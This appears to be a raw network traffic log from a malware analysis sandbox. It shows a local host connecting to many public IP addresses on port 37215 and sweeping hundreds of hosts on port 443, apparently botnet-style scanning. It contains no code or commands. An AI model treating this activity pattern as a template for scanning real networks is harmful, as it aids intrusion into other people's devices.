Jan 30, 2025 10:43:00.547291040 CET	53604	37215	192.168.2.13	197.154.15.206
Jan 30, 2025 10:43:00.552102089 CET	37215	41772	197.222.207.101	192.168.2.13
Jan 30, 2025 10:43:00.552115917 CET	37215	44904	156.20.186.254	192.168.2.13
Jan 30, 2025 10:43:00.552182913 CET	44904	37215	192.168.2.13	156.20.186.254
Jan 30, 2025 10:43:00.552184105 CET	41772	37215	192.168.2.13	197.222.207.101
Jan 30, 2025 10:43:00.552323103 CET	44904	37215	192.168.2.13	156.20.186.254
Jan 30, 2025 10:43:00.552336931 CET	44904	37215	192.168.2.13	156.20.186.254
Jan 30, 2025 10:43:00.552896023 CET	45032	37215	192.168.2.13	156.20.186.254
Jan 30, 2025 10:43:00.553311110 CET	41772	37215	192.168.2.13	197.222.207.101
Jan 30, 2025 10:43:00.553311110 CET	41772	37215	192.168.2.13	197.222.207.101
Jan 30, 2025 10:43:00.553638935 CET	41888	37215	192.168.2.13	197.222.207.101
Jan 30, 2025 10:43:00.557080030 CET	37215	44904	156.20.186.254	192.168.2.13
Jan 30, 2025 10:43:00.557750940 CET	37215	45032	156.20.186.254	192.168.2.13
Jan 30, 2025 10:43:00.557801008 CET	45032	37215	192.168.2.13	156.20.186.254
Jan 30, 2025 10:43:00.557822943 CET	45032	37215	192.168.2.13	156.20.186.254
Jan 30, 2025 10:43:00.558099031 CET	37215	41772	197.222.207.101	192.168.2.13
Jan 30, 2025 10:43:00.562766075 CET	37215	45032	156.20.186.254	192.168.2.13
Jan 30, 2025 10:43:00.562824011 CET	45032	37215	192.168.2.13	156.20.186.254
Jan 30, 2025 10:43:00.571719885 CET	37215	49340	156.179.84.58	192.168.2.13
Jan 30, 2025 10:43:00.571731091 CET	37215	51858	41.100.230.86	192.168.2.13
Jan 30, 2025 10:43:00.571742058 CET	37215	53972	156.48.204.33	192.168.2.13
Jan 30, 2025 10:43:00.579169035 CET	46072	37215	192.168.2.13	41.91.240.84
Jan 30, 2025 10:43:00.579171896 CET	40702	37215	192.168.2.13	197.56.120.123
Jan 30, 2025 10:43:00.579171896 CET	53738	37215	192.168.2.13	197.70.160.34
Jan 30, 2025 10:43:00.579169989 CET	58800	37215	192.168.2.13	156.215.110.203
Jan 30, 2025 10:43:00.579179049 CET	37088	37215	192.168.2.13	41.153.173.123
Jan 30, 2025 10:43:00.579179049 CET	57724	37215	192.168.2.13	41.0.25.105
Jan 30, 2025 10:43:00.579188108 CET	49598	37215	192.168.2.13	197.60.231.190
Jan 30, 2025 10:43:00.579188108 CET	60288	37215	192.168.2.13	197.214.77.6
Jan 30, 2025 10:43:00.579190016 CET	57052	37215	192.168.2.13	41.179.125.10
Jan 30, 2025 10:43:00.579190016 CET	56232	37215	192.168.2.13	156.32.8.151
Jan 30, 2025 10:43:00.579190016 CET	43708	37215	192.168.2.13	41.160.108.206
Jan 30, 2025 10:43:00.579196930 CET	47888	37215	192.168.2.13	156.242.44.150
Jan 30, 2025 10:43:00.579196930 CET	37162	37215	192.168.2.13	197.109.251.180
Jan 30, 2025 10:43:00.579196930 CET	45542	37215	192.168.2.13	197.236.183.89
Jan 30, 2025 10:43:00.579200029 CET	38774	37215	192.168.2.13	197.120.21.157
Jan 30, 2025 10:43:00.579200983 CET	58074	37215	192.168.2.13	41.142.150.156
Jan 30, 2025 10:43:00.579200029 CET	53266	37215	192.168.2.13	156.96.69.23
Jan 30, 2025 10:43:00.579200029 CET	41486	37215	192.168.2.13	156.97.202.177
Jan 30, 2025 10:43:00.579207897 CET	47346	37215	192.168.2.13	41.173.205.234
Jan 30, 2025 10:43:00.579207897 CET	48024	37215	192.168.2.13	41.168.122.168
Jan 30, 2025 10:43:00.584009886 CET	37215	40702	197.56.120.123	192.168.2.13
Jan 30, 2025 10:43:00.584023952 CET	37215	37088	41.153.173.123	192.168.2.13
Jan 30, 2025 10:43:00.584083080 CET	37088	37215	192.168.2.13	41.153.173.123
Jan 30, 2025 10:43:00.584088087 CET	40702	37215	192.168.2.13	197.56.120.123
Jan 30, 2025 10:43:00.584116936 CET	37088	37215	192.168.2.13	41.153.173.123
Jan 30, 2025 10:43:00.584127903 CET	40702	37215	192.168.2.13	197.56.120.123
Jan 30, 2025 10:43:00.591800928 CET	37215	40702	197.56.120.123	192.168.2.13
Jan 30, 2025 10:43:00.591813087 CET	37215	37088	41.153.173.123	192.168.2.13
Jan 30, 2025 10:43:00.602241039 CET	37215	37088	41.153.173.123	192.168.2.13
Jan 30, 2025 10:43:00.602303028 CET	37088	37215	192.168.2.13	41.153.173.123
Jan 30, 2025 10:43:00.603317022 CET	37215	40702	197.56.120.123	192.168.2.13
Jan 30, 2025 10:43:00.603327990 CET	37215	44904	156.20.186.254	192.168.2.13
Jan 30, 2025 10:43:00.603338003 CET	37215	41772	197.222.207.101	192.168.2.13
Jan 30, 2025 10:43:00.603439093 CET	40702	37215	192.168.2.13	197.56.120.123
Jan 30, 2025 10:43:00.611155033 CET	45158	37215	192.168.2.13	197.211.43.63
Jan 30, 2025 10:43:00.611156940 CET	32774	37215	192.168.2.13	41.137.30.159
Jan 30, 2025 10:43:00.611164093 CET	36878	37215	192.168.2.13	41.221.209.217
Jan 30, 2025 10:43:00.611165047 CET	59284	37215	192.168.2.13	156.198.139.64
Jan 30, 2025 10:43:00.611165047 CET	53916	37215	192.168.2.13	41.205.61.115
Jan 30, 2025 10:43:00.611187935 CET	60288	37215	192.168.2.13	156.186.122.47
Jan 30, 2025 10:43:00.611187935 CET	50644	37215	192.168.2.13	41.114.221.214
Jan 30, 2025 10:43:00.617717028 CET	37215	36878	41.221.209.217	192.168.2.13
Jan 30, 2025 10:43:00.617816925 CET	36878	37215	192.168.2.13	41.221.209.217
Jan 30, 2025 10:43:00.617854118 CET	37215	45158	197.211.43.63	192.168.2.13
Jan 30, 2025 10:43:00.617865086 CET	37215	59284	156.198.139.64	192.168.2.13
Jan 30, 2025 10:43:00.617923021 CET	45158	37215	192.168.2.13	197.211.43.63
Jan 30, 2025 10:43:00.617943048 CET	59284	37215	192.168.2.13	156.198.139.64
Jan 30, 2025 10:43:00.617984056 CET	36878	37215	192.168.2.13	41.221.209.217
Jan 30, 2025 10:43:00.618108034 CET	59284	37215	192.168.2.13	156.198.139.64
Jan 30, 2025 10:43:00.618129015 CET	45158	37215	192.168.2.13	197.211.43.63
Jan 30, 2025 10:43:00.624716043 CET	37215	36878	41.221.209.217	192.168.2.13
Jan 30, 2025 10:43:00.624800920 CET	36878	37215	192.168.2.13	41.221.209.217
Jan 30, 2025 10:43:00.624891996 CET	37215	45158	197.211.43.63	192.168.2.13
Jan 30, 2025 10:43:00.624906063 CET	37215	59284	156.198.139.64	192.168.2.13
Jan 30, 2025 10:43:00.624948025 CET	45158	37215	192.168.2.13	197.211.43.63
Jan 30, 2025 10:43:00.624949932 CET	59284	37215	192.168.2.13	156.198.139.64
Jan 30, 2025 10:43:01.143050909 CET	38815	443	192.168.2.13	2.74.168.23
Jan 30, 2025 10:43:01.143053055 CET	38815	443	192.168.2.13	178.53.41.215
Jan 30, 2025 10:43:01.143079996 CET	38815	443	192.168.2.13	117.14.7.172
Jan 30, 2025 10:43:01.143081903 CET	443	38815	2.74.168.23	192.168.2.13
Jan 30, 2025 10:43:01.143081903 CET	443	38815	178.53.41.215	192.168.2.13
Jan 30, 2025 10:43:01.143094063 CET	38815	443	192.168.2.13	210.245.208.201
Jan 30, 2025 10:43:01.143094063 CET	38815	443	192.168.2.13	109.166.179.235
Jan 30, 2025 10:43:01.143101931 CET	443	38815	117.14.7.172	192.168.2.13
Jan 30, 2025 10:43:01.143102884 CET	443	38815	210.245.208.201	192.168.2.13
Jan 30, 2025 10:43:01.143112898 CET	443	38815	109.166.179.235	192.168.2.13
Jan 30, 2025 10:43:01.143116951 CET	38815	443	192.168.2.13	118.61.220.131
Jan 30, 2025 10:43:01.143120050 CET	38815	443	192.168.2.13	202.71.130.87
Jan 30, 2025 10:43:01.143122911 CET	38815	443	192.168.2.13	5.242.6.132
Jan 30, 2025 10:43:01.143135071 CET	38815	443	192.168.2.13	148.207.93.43
Jan 30, 2025 10:43:01.143141031 CET	443	38815	202.71.130.87	192.168.2.13
Jan 30, 2025 10:43:01.143141985 CET	38815	443	192.168.2.13	2.74.168.23
Jan 30, 2025 10:43:01.143140078 CET	38815	443	192.168.2.13	178.53.41.215
Jan 30, 2025 10:43:01.143140078 CET	38815	443	192.168.2.13	210.245.208.201
Jan 30, 2025 10:43:01.143152952 CET	38815	443	192.168.2.13	117.14.7.172
Jan 30, 2025 10:43:01.143156052 CET	38815	443	192.168.2.13	109.166.179.235
Jan 30, 2025 10:43:01.143162966 CET	443	38815	118.61.220.131	192.168.2.13
Jan 30, 2025 10:43:01.143163919 CET	443	38815	148.207.93.43	192.168.2.13
Jan 30, 2025 10:43:01.143176079 CET	443	38815	5.242.6.132	192.168.2.13
Jan 30, 2025 10:43:01.143196106 CET	38815	443	192.168.2.13	117.148.247.135
Jan 30, 2025 10:43:01.143203974 CET	443	38815	117.148.247.135	192.168.2.13
Jan 30, 2025 10:43:01.143219948 CET	38815	443	192.168.2.13	202.71.130.87
Jan 30, 2025 10:43:01.143234968 CET	38815	443	192.168.2.13	5.242.6.132
Jan 30, 2025 10:43:01.143237114 CET	38815	443	192.168.2.13	94.115.34.80
Jan 30, 2025 10:43:01.143237114 CET	38815	443	192.168.2.13	148.59.13.23
Jan 30, 2025 10:43:01.143235922 CET	38815	443	192.168.2.13	123.100.255.249
Jan 30, 2025 10:43:01.143235922 CET	38815	443	192.168.2.13	148.207.93.43
Jan 30, 2025 10:43:01.143235922 CET	38815	443	192.168.2.13	117.114.17.119
Jan 30, 2025 10:43:01.143240929 CET	38815	443	192.168.2.13	118.61.220.131
Jan 30, 2025 10:43:01.143240929 CET	38815	443	192.168.2.13	42.23.232.225
Jan 30, 2025 10:43:01.143249035 CET	443	38815	94.115.34.80	192.168.2.13
Jan 30, 2025 10:43:01.143254042 CET	38815	443	192.168.2.13	148.182.248.32
Jan 30, 2025 10:43:01.143254042 CET	38815	443	192.168.2.13	117.148.247.135
Jan 30, 2025 10:43:01.143263102 CET	443	38815	148.182.248.32	192.168.2.13
Jan 30, 2025 10:43:01.143265009 CET	443	38815	42.23.232.225	192.168.2.13
Jan 30, 2025 10:43:01.143268108 CET	443	38815	148.59.13.23	192.168.2.13
Jan 30, 2025 10:43:01.143268108 CET	443	38815	123.100.255.249	192.168.2.13
Jan 30, 2025 10:43:01.143270016 CET	38815	443	192.168.2.13	212.157.241.188
Jan 30, 2025 10:43:01.143275976 CET	38815	443	192.168.2.13	37.209.33.183
Jan 30, 2025 10:43:01.143277884 CET	38815	443	192.168.2.13	117.224.58.16
Jan 30, 2025 10:43:01.143279076 CET	38815	443	192.168.2.13	37.92.20.13
Jan 30, 2025 10:43:01.143280029 CET	443	38815	212.157.241.188	192.168.2.13
Jan 30, 2025 10:43:01.143279076 CET	38815	443	192.168.2.13	42.150.46.45
Jan 30, 2025 10:43:01.143279076 CET	38815	443	192.168.2.13	94.115.34.80
Jan 30, 2025 10:43:01.143282890 CET	443	38815	37.209.33.183	192.168.2.13
Jan 30, 2025 10:43:01.143282890 CET	38815	443	192.168.2.13	202.19.166.236
Jan 30, 2025 10:43:01.143282890 CET	38815	443	192.168.2.13	202.1.204.107
Jan 30, 2025 10:43:01.143287897 CET	443	38815	117.224.58.16	192.168.2.13
Jan 30, 2025 10:43:01.143287897 CET	443	38815	117.114.17.119	192.168.2.13
Jan 30, 2025 10:43:01.143290997 CET	38815	443	192.168.2.13	117.47.135.187
Jan 30, 2025 10:43:01.143291950 CET	443	38815	37.92.20.13	192.168.2.13
Jan 30, 2025 10:43:01.143290997 CET	38815	443	192.168.2.13	2.232.134.177
Jan 30, 2025 10:43:01.143294096 CET	443	38815	42.150.46.45	192.168.2.13
Jan 30, 2025 10:43:01.143296957 CET	38815	443	192.168.2.13	148.182.248.32
Jan 30, 2025 10:43:01.143296957 CET	38815	443	192.168.2.13	178.100.25.87
Jan 30, 2025 10:43:01.143296957 CET	38815	443	192.168.2.13	109.119.61.85
Jan 30, 2025 10:43:01.143296957 CET	38815	443	192.168.2.13	117.57.121.167
Jan 30, 2025 10:43:01.143296957 CET	38815	443	192.168.2.13	109.221.56.209
Jan 30, 2025 10:43:01.143305063 CET	443	38815	117.47.135.187	192.168.2.13
Jan 30, 2025 10:43:01.143306971 CET	38815	443	192.168.2.13	42.23.232.225
Jan 30, 2025 10:43:01.143311024 CET	443	38815	202.19.166.236	192.168.2.13
Jan 30, 2025 10:43:01.143317938 CET	443	38815	2.232.134.177	192.168.2.13
Jan 30, 2025 10:43:01.143326998 CET	443	38815	109.119.61.85	192.168.2.13
Jan 30, 2025 10:43:01.143336058 CET	443	38815	178.100.25.87	192.168.2.13
Jan 30, 2025 10:43:01.143337965 CET	38815	443	192.168.2.13	212.157.241.188
Jan 30, 2025 10:43:01.143342972 CET	38815	443	192.168.2.13	37.77.155.169
Jan 30, 2025 10:43:01.143343925 CET	443	38815	117.57.121.167	192.168.2.13
Jan 30, 2025 10:43:01.143342972 CET	38815	443	192.168.2.13	117.47.135.187
Jan 30, 2025 10:43:01.143347025 CET	38815	443	192.168.2.13	37.92.20.13
Jan 30, 2025 10:43:01.143347025 CET	38815	443	192.168.2.13	42.150.46.45
Jan 30, 2025 10:43:01.143347979 CET	38815	443	192.168.2.13	37.209.33.183
Jan 30, 2025 10:43:01.143352032 CET	443	38815	202.1.204.107	192.168.2.13
Jan 30, 2025 10:43:01.143352985 CET	38815	443	192.168.2.13	117.224.58.16
Jan 30, 2025 10:43:01.143353939 CET	443	38815	37.77.155.169	192.168.2.13
Jan 30, 2025 10:43:01.143357992 CET	38815	443	192.168.2.13	148.59.13.23
Jan 30, 2025 10:43:01.143364906 CET	38815	443	192.168.2.13	94.172.191.164
Jan 30, 2025 10:43:01.143363953 CET	38815	443	192.168.2.13	5.233.104.25
Jan 30, 2025 10:43:01.143366098 CET	443	38815	109.221.56.209	192.168.2.13
Jan 30, 2025 10:43:01.143363953 CET	38815	443	192.168.2.13	202.72.119.138
Jan 30, 2025 10:43:01.143371105 CET	443	38815	94.172.191.164	192.168.2.13
Jan 30, 2025 10:43:01.143381119 CET	38815	443	192.168.2.13	42.21.2.209
Jan 30, 2025 10:43:01.143382072 CET	38815	443	192.168.2.13	2.232.134.177
Jan 30, 2025 10:43:01.143382072 CET	38815	443	192.168.2.13	37.77.155.169
Jan 30, 2025 10:43:01.143385887 CET	38815	443	192.168.2.13	123.100.255.249
Jan 30, 2025 10:43:01.143385887 CET	38815	443	192.168.2.13	117.114.17.119
Jan 30, 2025 10:43:01.143385887 CET	38815	443	192.168.2.13	109.119.61.85
Jan 30, 2025 10:43:01.143385887 CET	38815	443	192.168.2.13	178.100.25.87
Jan 30, 2025 10:43:01.143385887 CET	38815	443	192.168.2.13	117.57.121.167
Jan 30, 2025 10:43:01.143388987 CET	443	38815	42.21.2.209	192.168.2.13
Jan 30, 2025 10:43:01.143393040 CET	38815	443	192.168.2.13	202.19.166.236
Jan 30, 2025 10:43:01.143393040 CET	38815	443	192.168.2.13	202.1.204.107
Jan 30, 2025 10:43:01.143403053 CET	38815	443	192.168.2.13	94.172.191.164
Jan 30, 2025 10:43:01.143407106 CET	38815	443	192.168.2.13	109.221.56.209
Jan 30, 2025 10:43:01.143408060 CET	443	38815	5.233.104.25	192.168.2.13
Jan 30, 2025 10:43:01.143409967 CET	38815	443	192.168.2.13	37.153.97.126
Jan 30, 2025 10:43:01.143420935 CET	38815	443	192.168.2.13	42.21.2.209
Jan 30, 2025 10:43:01.143421888 CET	443	38815	37.153.97.126	192.168.2.13
Jan 30, 2025 10:43:01.143435001 CET	38815	443	192.168.2.13	5.132.182.78
Jan 30, 2025 10:43:01.143435001 CET	38815	443	192.168.2.13	37.120.224.16
Jan 30, 2025 10:43:01.143435955 CET	443	38815	202.72.119.138	192.168.2.13
Jan 30, 2025 10:43:01.143435001 CET	38815	443	192.168.2.13	117.180.96.142
Jan 30, 2025 10:43:01.143443108 CET	443	38815	5.132.182.78	192.168.2.13
Jan 30, 2025 10:43:01.143444061 CET	443	38815	37.120.224.16	192.168.2.13
Jan 30, 2025 10:43:01.143449068 CET	38815	443	192.168.2.13	178.99.54.20
Jan 30, 2025 10:43:01.143450022 CET	38815	443	192.168.2.13	37.153.97.126
Jan 30, 2025 10:43:01.143452883 CET	443	38815	117.180.96.142	192.168.2.13
Jan 30, 2025 10:43:01.143455029 CET	38815	443	192.168.2.13	5.233.104.25
Jan 30, 2025 10:43:01.143456936 CET	443	38815	178.99.54.20	192.168.2.13
Jan 30, 2025 10:43:01.143465042 CET	38815	443	192.168.2.13	178.227.224.180
Jan 30, 2025 10:43:01.143471003 CET	443	38815	178.227.224.180	192.168.2.13
Jan 30, 2025 10:43:01.143474102 CET	38815	443	192.168.2.13	202.72.119.138
Jan 30, 2025 10:43:01.143486023 CET	38815	443	192.168.2.13	37.120.224.16
Jan 30, 2025 10:43:01.143490076 CET	38815	443	192.168.2.13	5.132.182.78
Jan 30, 2025 10:43:01.143492937 CET	38815	443	192.168.2.13	117.180.96.142
Jan 30, 2025 10:43:01.143507957 CET	38815	443	192.168.2.13	5.171.94.31
Jan 30, 2025 10:43:01.143508911 CET	38815	443	192.168.2.13	178.227.224.180
Jan 30, 2025 10:43:01.143507957 CET	38815	443	192.168.2.13	210.22.223.212
Jan 30, 2025 10:43:01.143507957 CET	38815	443	192.168.2.13	148.196.40.35
Jan 30, 2025 10:43:01.143517971 CET	38815	443	192.168.2.13	178.99.54.20
Jan 30, 2025 10:43:01.143521070 CET	38815	443	192.168.2.13	202.167.240.223
Jan 30, 2025 10:43:01.143527031 CET	443	38815	202.167.240.223	192.168.2.13
Jan 30, 2025 10:43:01.143532038 CET	443	38815	5.171.94.31	192.168.2.13
Jan 30, 2025 10:43:01.143537045 CET	38815	443	192.168.2.13	202.214.126.85
Jan 30, 2025 10:43:01.143538952 CET	38815	443	192.168.2.13	123.227.248.72
Jan 30, 2025 10:43:01.143539906 CET	38815	443	192.168.2.13	42.54.202.180
Jan 30, 2025 10:43:01.143542051 CET	443	38815	202.214.126.85	192.168.2.13
Jan 30, 2025 10:43:01.143543959 CET	443	38815	210.22.223.212	192.168.2.13
Jan 30, 2025 10:43:01.143549919 CET	443	38815	42.54.202.180	192.168.2.13
Jan 30, 2025 10:43:01.143553972 CET	38815	443	192.168.2.13	212.20.18.113
Jan 30, 2025 10:43:01.143558025 CET	443	38815	123.227.248.72	192.168.2.13
Jan 30, 2025 10:43:01.143560886 CET	443	38815	212.20.18.113	192.168.2.13
Jan 30, 2025 10:43:01.143562078 CET	38815	443	192.168.2.13	202.167.240.223
Jan 30, 2025 10:43:01.143563986 CET	443	38815	148.196.40.35	192.168.2.13
Jan 30, 2025 10:43:01.143569946 CET	38815	443	192.168.2.13	37.237.183.99
Jan 30, 2025 10:43:01.143569946 CET	38815	443	192.168.2.13	5.171.94.31
Jan 30, 2025 10:43:01.143580914 CET	38815	443	192.168.2.13	202.214.126.85
Jan 30, 2025 10:43:01.143580914 CET	38815	443	192.168.2.13	42.54.202.180
Jan 30, 2025 10:43:01.143580914 CET	443	38815	37.237.183.99	192.168.2.13
Jan 30, 2025 10:43:01.143590927 CET	38815	443	192.168.2.13	123.227.248.72
Jan 30, 2025 10:43:01.143599033 CET	38815	443	192.168.2.13	210.22.223.212
Jan 30, 2025 10:43:01.143599033 CET	38815	443	192.168.2.13	148.196.40.35
Jan 30, 2025 10:43:01.143603086 CET	38815	443	192.168.2.13	212.20.18.113
Jan 30, 2025 10:43:01.143608093 CET	38815	443	192.168.2.13	118.210.110.181
Jan 30, 2025 10:43:01.143610001 CET	38815	443	192.168.2.13	118.83.220.73
Jan 30, 2025 10:43:01.143616915 CET	443	38815	118.83.220.73	192.168.2.13
Jan 30, 2025 10:43:01.143629074 CET	443	38815	118.210.110.181	192.168.2.13
Jan 30, 2025 10:43:01.143632889 CET	38815	443	192.168.2.13	117.65.71.32
Jan 30, 2025 10:43:01.143640041 CET	443	38815	117.65.71.32	192.168.2.13
Jan 30, 2025 10:43:01.143649101 CET	38815	443	192.168.2.13	123.234.137.239
Jan 30, 2025 10:43:01.143651962 CET	38815	443	192.168.2.13	42.163.26.35
Jan 30, 2025 10:43:01.143651962 CET	38815	443	192.168.2.13	118.154.130.26
Jan 30, 2025 10:43:01.143655062 CET	38815	443	192.168.2.13	202.14.125.180
Jan 30, 2025 10:43:01.143656015 CET	38815	443	192.168.2.13	118.83.220.73
Jan 30, 2025 10:43:01.143657923 CET	443	38815	123.234.137.239	192.168.2.13
Jan 30, 2025 10:43:01.143661976 CET	38815	443	192.168.2.13	5.37.14.240
Jan 30, 2025 10:43:01.143668890 CET	38815	443	192.168.2.13	37.217.173.111
Jan 30, 2025 10:43:01.143670082 CET	38815	443	192.168.2.13	5.24.153.100
Jan 30, 2025 10:43:01.143670082 CET	38815	443	192.168.2.13	117.65.71.32
Jan 30, 2025 10:43:01.143672943 CET	38815	443	192.168.2.13	37.237.183.99
Jan 30, 2025 10:43:01.143676996 CET	38815	443	192.168.2.13	123.3.133.237
Jan 30, 2025 10:43:01.143677950 CET	443	38815	42.163.26.35	192.168.2.13
Jan 30, 2025 10:43:01.143690109 CET	38815	443	192.168.2.13	123.234.137.239
Jan 30, 2025 10:43:01.143701077 CET	38815	443	192.168.2.13	118.210.110.181
Jan 30, 2025 10:43:01.143701077 CET	38815	443	192.168.2.13	178.219.32.35
Jan 30, 2025 10:43:01.143707991 CET	38815	443	192.168.2.13	94.211.243.225
Jan 30, 2025 10:43:01.143709898 CET	38815	443	192.168.2.13	109.212.199.214
Jan 30, 2025 10:43:01.143723965 CET	38815	443	192.168.2.13	117.117.74.223
Jan 30, 2025 10:43:01.143726110 CET	38815	443	192.168.2.13	42.163.26.35
Jan 30, 2025 10:43:01.143731117 CET	38815	443	192.168.2.13	94.134.54.41
Jan 30, 2025 10:43:01.143733978 CET	38815	443	192.168.2.13	202.150.158.247
Jan 30, 2025 10:43:01.143745899 CET	38815	443	192.168.2.13	109.229.219.115
Jan 30, 2025 10:43:01.143748045 CET	38815	443	192.168.2.13	109.150.13.137
Jan 30, 2025 10:43:01.143753052 CET	38815	443	192.168.2.13	212.60.61.227
Jan 30, 2025 10:43:01.143770933 CET	38815	443	192.168.2.13	42.143.131.218
Jan 30, 2025 10:43:01.143771887 CET	38815	443	192.168.2.13	42.67.48.185
Jan 30, 2025 10:43:01.143783092 CET	38815	443	192.168.2.13	118.16.63.194
Jan 30, 2025 10:43:01.143786907 CET	38815	443	192.168.2.13	118.169.84.194
Jan 30, 2025 10:43:01.143794060 CET	38815	443	192.168.2.13	210.78.132.98
Jan 30, 2025 10:43:01.143800020 CET	38815	443	192.168.2.13	178.220.214.246
Jan 30, 2025 10:43:01.143801928 CET	38815	443	192.168.2.13	42.57.196.239
Jan 30, 2025 10:43:01.143817902 CET	38815	443	192.168.2.13	148.140.199.133
Jan 30, 2025 10:43:01.143826008 CET	38815	443	192.168.2.13	123.40.54.77
Jan 30, 2025 10:43:01.143826962 CET	38815	443	192.168.2.13	5.167.58.11
Jan 30, 2025 10:43:01.143830061 CET	38815	443	192.168.2.13	202.70.36.154
Jan 30, 2025 10:43:01.143843889 CET	38815	443	192.168.2.13	212.79.253.181
Jan 30, 2025 10:43:01.143848896 CET	38815	443	192.168.2.13	5.68.84.254
Jan 30, 2025 10:43:01.143863916 CET	38815	443	192.168.2.13	210.16.200.79
Jan 30, 2025 10:43:01.143863916 CET	38815	443	192.168.2.13	2.214.42.169
Jan 30, 2025 10:43:01.143867970 CET	38815	443	192.168.2.13	109.231.187.57
Jan 30, 2025 10:43:01.143886089 CET	38815	443	192.168.2.13	202.179.249.61
Jan 30, 2025 10:43:01.143884897 CET	38815	443	192.168.2.13	148.42.253.28
Jan 30, 2025 10:43:01.143889904 CET	38815	443	192.168.2.13	210.156.105.198
Jan 30, 2025 10:43:01.143909931 CET	38815	443	192.168.2.13	42.82.16.71
Jan 30, 2025 10:43:01.143910885 CET	38815	443	192.168.2.13	118.125.129.106
Jan 30, 2025 10:43:01.143913031 CET	38815	443	192.168.2.13	212.199.28.52
Jan 30, 2025 10:43:01.143923044 CET	38815	443	192.168.2.13	94.200.241.217
Jan 30, 2025 10:43:01.143929958 CET	38815	443	192.168.2.13	94.33.4.185
Jan 30, 2025 10:43:01.143930912 CET	38815	443	192.168.2.13	178.0.164.94
Jan 30, 2025 10:43:01.143939972 CET	38815	443	192.168.2.13	148.163.246.87
Jan 30, 2025 10:43:01.143949986 CET	38815	443	192.168.2.13	94.220.51.22
Jan 30, 2025 10:43:01.143970013 CET	38815	443	192.168.2.13	178.121.129.131
Jan 30, 2025 10:43:01.143970013 CET	38815	443	192.168.2.13	2.22.187.175
Jan 30, 2025 10:43:01.143970966 CET	38815	443	192.168.2.13	37.133.248.3
Jan 30, 2025 10:43:01.143970966 CET	38815	443	192.168.2.13	212.96.65.43
Jan 30, 2025 10:43:01.143974066 CET	38815	443	192.168.2.13	94.46.213.39
Jan 30, 2025 10:43:01.143974066 CET	38815	443	192.168.2.13	118.234.67.78
Jan 30, 2025 10:43:01.143976927 CET	38815	443	192.168.2.13	79.125.191.101
Jan 30, 2025 10:43:01.143976927 CET	38815	443	192.168.2.13	42.223.191.167
Jan 30, 2025 10:43:01.143985987 CET	38815	443	192.168.2.13	148.251.74.169
Jan 30, 2025 10:43:01.143987894 CET	38815	443	192.168.2.13	5.218.53.153
Jan 30, 2025 10:43:01.143987894 CET	38815	443	192.168.2.13	94.221.48.63
Jan 30, 2025 10:43:01.144006968 CET	38815	443	192.168.2.13	212.223.144.242
Jan 30, 2025 10:43:01.144010067 CET	38815	443	192.168.2.13	118.82.73.86
Jan 30, 2025 10:43:01.144010067 CET	38815	443	192.168.2.13	109.105.188.212
Jan 30, 2025 10:43:01.144010067 CET	38815	443	192.168.2.13	118.113.87.75
Jan 30, 2025 10:43:01.144032001 CET	38815	443	192.168.2.13	178.35.219.84
Jan 30, 2025 10:43:01.144032001 CET	38815	443	192.168.2.13	148.139.132.205
Jan 30, 2025 10:43:01.144032001 CET	38815	443	192.168.2.13	148.216.252.255
Jan 30, 2025 10:43:01.144033909 CET	38815	443	192.168.2.13	109.184.197.244
Jan 30, 2025 10:43:01.144033909 CET	38815	443	192.168.2.13	178.76.140.3
Jan 30, 2025 10:43:01.144038916 CET	38815	443	192.168.2.13	117.248.52.13
Jan 30, 2025 10:43:01.144054890 CET	38815	443	192.168.2.13	148.95.150.239
Jan 30, 2025 10:43:01.144061089 CET	38815	443	192.168.2.13	212.234.1.185
Jan 30, 2025 10:43:01.144066095 CET	38815	443	192.168.2.13	79.255.118.133
Jan 30, 2025 10:43:01.144071102 CET	38815	443	192.168.2.13	210.30.164.100
Jan 30, 2025 10:43:01.144071102 CET	38815	443	192.168.2.13	178.148.144.196
Jan 30, 2025 10:43:01.144073009 CET	38815	443	192.168.2.13	79.231.76.144
Jan 30, 2025 10:43:01.144074917 CET	38815	443	192.168.2.13	79.59.99.36
Jan 30, 2025 10:43:01.144083977 CET	38815	443	192.168.2.13	42.58.184.112
Jan 30, 2025 10:43:01.144094944 CET	38815	443	192.168.2.13	37.26.223.37
Jan 30, 2025 10:43:01.144113064 CET	38815	443	192.168.2.13	212.37.157.145
Jan 30, 2025 10:43:01.144113064 CET	38815	443	192.168.2.13	5.114.109.229
Jan 30, 2025 10:43:01.144114971 CET	38815	443	192.168.2.13	212.103.58.240
Jan 30, 2025 10:43:01.144123077 CET	38815	443	192.168.2.13	79.39.249.169
Jan 30, 2025 10:43:01.144123077 CET	38815	443	192.168.2.13	148.163.2.212
Jan 30, 2025 10:43:01.144138098 CET	38815	443	192.168.2.13	42.163.170.225
Jan 30, 2025 10:43:01.144144058 CET	38815	443	192.168.2.13	5.2.158.203
Jan 30, 2025 10:43:01.144145012 CET	38815	443	192.168.2.13	118.233.160.131
Jan 30, 2025 10:43:01.144154072 CET	38815	443	192.168.2.13	210.15.160.129
Jan 30, 2025 10:43:01.144155025 CET	38815	443	192.168.2.13	42.56.79.66
Jan 30, 2025 10:43:01.144155025 CET	38815	443	192.168.2.13	202.250.96.130
Jan 30, 2025 10:43:01.144155025 CET	38815	443	192.168.2.13	2.81.98.8
Jan 30, 2025 10:43:01.144166946 CET	38815	443	192.168.2.13	109.140.248.61
Jan 30, 2025 10:43:01.144167900 CET	38815	443	192.168.2.13	42.53.24.44
Jan 30, 2025 10:43:01.144167900 CET	38815	443	192.168.2.13	2.148.120.56
Jan 30, 2025 10:43:01.144172907 CET	38815	443	192.168.2.13	117.7.104.149
Jan 30, 2025 10:43:01.144176960 CET	38815	443	192.168.2.13	148.1.122.50
Jan 30, 2025 10:43:01.144190073 CET	38815	443	192.168.2.13	178.148.205.248
Jan 30, 2025 10:43:01.144191027 CET	38815	443	192.168.2.13	42.201.50.45
Jan 30, 2025 10:43:01.144210100 CET	38815	443	192.168.2.13	79.207.93.235
Jan 30, 2025 10:43:01.144210100 CET	38815	443	192.168.2.13	117.229.123.190
Jan 30, 2025 10:43:01.144226074 CET	38815	443	192.168.2.13	210.124.170.203
Jan 30, 2025 10:43:01.144226074 CET	38815	443	192.168.2.13	210.73.70.75
Jan 30, 2025 10:43:01.144229889 CET	38815	443	192.168.2.13	79.244.60.92
Jan 30, 2025 10:43:01.144231081 CET	38815	443	192.168.2.13	148.191.103.182
Jan 30, 2025 10:43:01.144237995 CET	38815	443	192.168.2.13	2.63.75.170
Jan 30, 2025 10:43:01.144257069 CET	38815	443	192.168.2.13	5.161.138.122
Jan 30, 2025 10:43:01.144265890 CET	38815	443	192.168.2.13	79.109.12.21
